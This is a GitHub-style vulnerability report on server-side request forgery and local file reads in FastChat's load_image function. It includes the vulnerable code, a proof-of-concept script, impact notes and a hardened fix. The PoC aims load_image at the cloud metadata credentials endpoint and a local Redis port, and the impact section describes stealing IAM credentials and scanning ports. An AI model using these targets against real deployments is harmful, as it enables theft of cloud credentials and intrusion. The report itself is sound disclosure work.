lm-sys / lm-sys/FastChat

Vulnerability Report: SSRF + Arbitrary Local File Read in fastchat.utils.load_image via unvalidated image URL/path

Open
#3,873 1 comment 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
Python
Stars
39.5k
Forks
4.8k
PR merge metrics
No merged PRs in 30d

Description

## Severity

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L (8.6 High)

CWE-918 (Server-Side Request Forgery), with secondary CWE-22 / CWE-73 (Arbitrary Local File Read via path-based dispatch).

## Description

`fastchat.utils.load_image(image_file)` dispatches on string-prefix/suffix heuristics without scheme allowlist, host validation, private-IP block, or path canonicalization. Three branches yield three independent primitives:

1. `image_file.startswith("http://") or .startswith("https://")` → `requests.get(image_file)` → full Server-Side Request Forgery
2. `image_file.lower().endswith(("png","jpg","jpeg","webp","gif"))` → `Image.open(image_file)` → arbitrary local image-file read via extension-gated PIL open
3. `image_file.startswith("data:")` or fallthrough → `base64.b64decode(image_file)` (default `validate=False`) → decoder-oracle

## Vulnerable Code

`fastchat/utils.py` at lm-sys/FastChat `main` (HEAD-verified 2026-05-17, ~lines 394-412 in current bundle):

```python
def load_image(image_file):
from PIL import Image
import requests

image = None

if image_file.startswith("http://") or image_file.startswith("https://"):
timeout = int(os.getenv("REQUEST_TIMEOUT", "3"))
response = requests.get(image_file, timeout=timeout)
image = Image.open(BytesIO(response.content))
elif image_file.lower().endswith(("png", "jpg", "jpeg", "webp", "gif")):
image = Image.open(image_file)
elif image_file.startswith("data:"):
image_file = image_file.split(",")[1]
image = Image.open(BytesIO(base64.b64decode(image_file)))
else:
image = Image.open(BytesIO(base64.b64decode(image_file)))
return image
```

## Reachability

`load_image` is called from documented public flows:
- `fastchat/conversation.py:441, 454, 614, 624, 643, 657, 467, 481` — `save_new_images()`, `extract_text_and_image_hashes_from_messages()`, `to_gemini_api_messages()`
- `fastchat/serve/gradio_web_server.py:45` — imports `load_image` into the public chat-arena Gradio flow
- `fastchat/serve/api_provider.py:104, 114` — Gemini provider routing

Default deployment exposes both flows without authentication:
- `fastchat/serve/openai_api_server.py:100-128` starts with `api_keys=None` → anonymous API server
- Gradio `chat-arena` binds `0.0.0.0` → reachable from any network

A user submitting a message with an attacker-controlled image-URL (or a typed string starting with `http://`) triggers the SSRF.

## Proof of Concept

Standalone Python reproducer; requires only `pip install fastchat-llm` (or local clone):

```python
import sys, requests
calls = []
orig = requests.get
def spy(url, timeout=None, *a, **k):
calls.append(url)
print(f"[+] SSRF fired: {url} (timeout={timeout})")
class R: content = b"\x89PNG\r\n\x1a\n" + b"\x00"*100
return R()
requests.get = spy

from fastchat.utils import load_image

# SSRF → AWS IMDS
try: load_image("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
except Exception: pass

# SSRF → internal Redis / port scan
try: load_image("http://127.0.0.1:6379/")
except Exception: pass

# Arbitrary local file open (extension-gated)
open("/tmp/leak.png","wb").write(b"\x89PNG\r\n\x1a\n" + b"\x00"*100)
try:
img = load_image("/tmp/leak.png")
print(f"[+] Local file open: size={getattr(img,'size',None)}")
except Exception as e:
print(f"[!] PIL parse error after open: {e}")

assert len(calls) == 2, calls
print("[+] PoC OK")
```

Executed output:

```
[+] SSRF fired: http://169.254.169.254/latest/meta-data/iam/security-credentials/ (timeout=3)
[+] SSRF fired: http://127.0.0.1:6379/ (timeout=3)
[+] Local file open: size=(1, 1)
[+] PoC OK
```

## Impact

**SSRF** (primary):
- AWS IMDS / GCP / Azure cloud metadata exfiltration → IAM credential theft → cloud account compromise
- Localhost-only admin panel access (Redis, Elasticsearch, Kibana, internal Jenkins)
- Port scanning via response-timing oracle on the FastChat host's local network

**Arbitrary local file read** (secondary):
- Any `*.png|jpg|jpeg|webp|gif`-suffixed path readable by the server process is opened by PIL
- Image-parser CVEs become reachable from unauthenticated network input (libwebp CVE-2023-4863, libpng heap CVEs)

**Decoder oracle** (tertiary):
- `base64.b64decode(..., validate=False)` accepts malformed input silently; combined with `Image.open(BytesIO(...))` exposes the image parser to bypass-style payloads

## Suggested Fix

Add a URL safety check and restrict local-file branch to a configured allowlist directory:

```python
from urllib.parse import urlparse
import ipaddress, socket
from pathlib import Path

ALLOWED_SCHEMES = {"http", "https"}
IMAGE_DIR = Path(os.getenv("FASTCHAT_IMAGE_DIR", "/var/lib/fastchat/images")).resolve()

def _is_safe_url(url: str) -> bool:
p = urlparse(url)
if p.scheme not in ALLOWED_SCHEMES: return False
try:
for fam, _, _, _, sa in socket.getaddrinfo(p.hostname, None):
ip = ipaddress.ip_address(sa[0])
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
return False
except socket.gaierror:
return False
return True

def _is_safe_local(path: str) -> bool:
try:
resolved = (IMAGE_DIR / path).resolve()
return IMAGE_DIR in resolved.parents or resolved == IMAGE_DIR
except (OSError, ValueError):
return False

def load_image(image_file):
from PIL import Image
import requests
if image_file.startswith(("http://", "https://")):
if not _is_safe_url(image_file):
raise ValueError("URL targets internal/private address; refused")
timeout = int(os.getenv("REQUEST_TIMEOUT", "3"))
response = requests.get(image_file, timeout=timeout)
return Image.open(BytesIO(response.content))
if image_file.lower().endswith(("png","jpg","jpeg","webp","gif")):
if not _is_safe_local(image_file):
raise ValueError("Local path outside configured image directory; refused")
return Image.open(image_file)
if image_file.startswith("data:"):
image_file = image_file.split(",", 1)[1]
return Image.open(BytesIO(base64.b64decode(image_file, validate=True)))
return Image.open(BytesIO(base64.b64decode(image_file, validate=True)))
```

Recommend additionally:
- Make `api_keys=None` an opt-in (require explicit `--allow-anonymous` flag rather than silent default)
- Audit sibling sinks: `controller.py /register_worker` unauthenticated by default; `model_adapter.py` `torch.load` without `weights_only=True`

## References

- Vulnerable file: https://github.com/lm-sys/FastChat/blob/main/fastchat/utils.py#L394
- Gradio import site: https://github.com/lm-sys/FastChat/blob/main/fastchat/serve/gradio_web_server.py#L45
- Auth default: https://github.com/lm-sys/FastChat/blob/main/fastchat/serve/openai_api_server.py#L100
- Bug class: CWE-918 SSRF; OWASP A10:2021
- Related prior issues: #3713 (model load RCE), #3720 (trust_remote_code RCE) — same disclosure pattern

## Environment

- FastChat trunk HEAD as of 2026-05-17; `fastchat/utils.py:394-412` unchanged from initial reproduction on 2026-05-13
- Verified with `pip install fastchat-llm` and from-source clone
- PoC reproduces on Linux + macOS

---

Reporter: Jaeyoung Yun (GitHub: JAE0Y2N)

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start with fastchat/utils.py around load_image and run the standalone reproducer provided in the issue. Trace its callers in fastchat/conversation.py, fastchat/serve/gradio_web_server.py, and fastchat/serve/api_provider.py. Done means the reported SSRF, local-path access, and permissive decoding cases are rejected or constrained, with the anonymous API exposure reviewed as described.

Written by the indexing model from the issue text.

Assessment

Tech stack
python
Domain
backend-api-design, security
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
42/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.